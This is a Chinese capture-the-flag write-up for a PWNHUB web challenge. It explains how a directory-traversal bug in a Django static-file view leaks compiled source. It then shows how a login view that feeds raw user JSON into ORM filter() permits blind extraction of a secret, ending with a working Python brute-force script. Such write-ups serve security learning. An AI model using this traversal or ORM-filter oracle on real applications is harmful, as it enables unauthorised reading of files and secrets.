PWNHUB Web第一题writeup
题目地址 http://54.223.46.206:8003/
首先在HTTP头中可以看到 Server:gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2
,引用的站内资源只有一个js,然后回想起ph师傅的写过的Python Web安全的文章还有 http://www.lijiejie.com/python-django-directory-traversal/ ,发现在处理静态文件的时候有一个任意文件读取,但是任何.py
结尾的文件都会提示403,其他的不会,考虑读取pyc
,看了下自己的Django项目,Python 3.5的pyc
都是在一个__pycache__
目录中的,然后是xxx.cpython-35.pyc
的文件名。
Django 是一个 MVC 框架,默认的主要代码都在 models.py
和 views.py
,成功的得到 pyc。然后使用 unpyc3 得到了源码。
核心代码如下
1class StaticFilesView(generic.View):
2 content_type = 'text/plain'
3
4 def get(self, request, *args, **kwargs):
5 filename = self.kwargs['path']
6 # 任意文件读取就是这里
7 filename = os.path.join(settings.BASE_DIR, 'students', 'static', filename)
8 (name, ext) = os.path.splitext(filename)
9 if ext in ('.py', '.conf', '.sqlite3', '.yml'):
10 raise exceptions.PermissionDenied('Permission deny')
11 try:
12 return HttpResponse(FileWrapper(open(filename, 'rb'), 8192), content_type=self.content_type)
13 except BaseException as e:
14 raise Http404('Static file not found')
15
16class LoginView(JsonResponseMixin, generic.TemplateView):
17 template_name = 'login.html'
18 def post(self, request, *args, **kwargs):
19 data = json.loads(request.body.decode())
20 stu = models.Student.objects.filter(**data).first()
21 if not stu or stu.passkey != data['passkey']:
22 return self._jsondata('', 403)
23 else:
24 request.session['is_login'] = True
25 return self._jsondata('', 200)
26
27class Student(models.Model):
28 name = models.CharField('姓名', max_length=64, unique=True)
29 no = models.CharField('学号', max_length=12, unique=True)
30 passkey = models.CharField('密码', max_length=32)
31 group = models.ForeignKey('Group', verbose_name='所属班级', on_delete=models.CASCADE, null=True, blank=True)
32
33
34class Group(models.Model):
35 name = models.CharField('班级名', max_length=64)
36 information = models.TextField('介绍')
37 secret = models.CharField('内部信息', max_length=128)
38 created_time = models.DateTimeField('创建时间', auto_now_add=True)
可以看到直接将用户发送的数据作为 filter 的条件传递了,如果用户存在,而 data 中没有 passkey
就会造成 500,如果用户不存在就会403,所以可以使用 Django 中的 like 查询。它的特点就是字段名后面添加两个下划线,接着才是搜索条件,可以作为参数传给 filter。
1# 精确查询 where name="test"
2Student.objects.filter(name="test")
3
4# 按照字符串开头查询 where name="test%"
5Student.objects.filter(name__startswith="test")
6
7# 按照字符串包含查询 where name="%test%"
8Student.objects.filter(name__contains="test")
其实这里还有个坑,但是后来给ph师傅说了之后还是填上了,防止题目过于难,就是这里Django使用的是sqlite3数据库,而sqlite3的like是不区分大小写的,而数据库里面存的确实是大小写混合的,然而实际上还是有两个解决方案的
- 爆破,12位密码去除数字,实际组合是
2^10
左右,也并不大 - 使用sql中的正则,类似
Studdent.objects.filter(name__regex="test")
,这样就和区分大小写的contains
是一样的了。
当然这个问题并不需要用户的密码,使用相同的方式去获取secret就好了。语句是Student.objects.filter(group__secret__contains="pwnhub")
。最终利用的代码是
1import requests
2import json
3
4import string
5d = string.printable
6
7passkey = "pwnhub"
8
9while True:
10 for item in d:
11 r = requests.post("http://54.223.46.206:8003/login/", data=json.dumps({"group__secret__contains": passkey + item}))
12 if r.status_code == 500:
13 passkey += item
14 print(passkey)
15 break
16 else:
17 exit()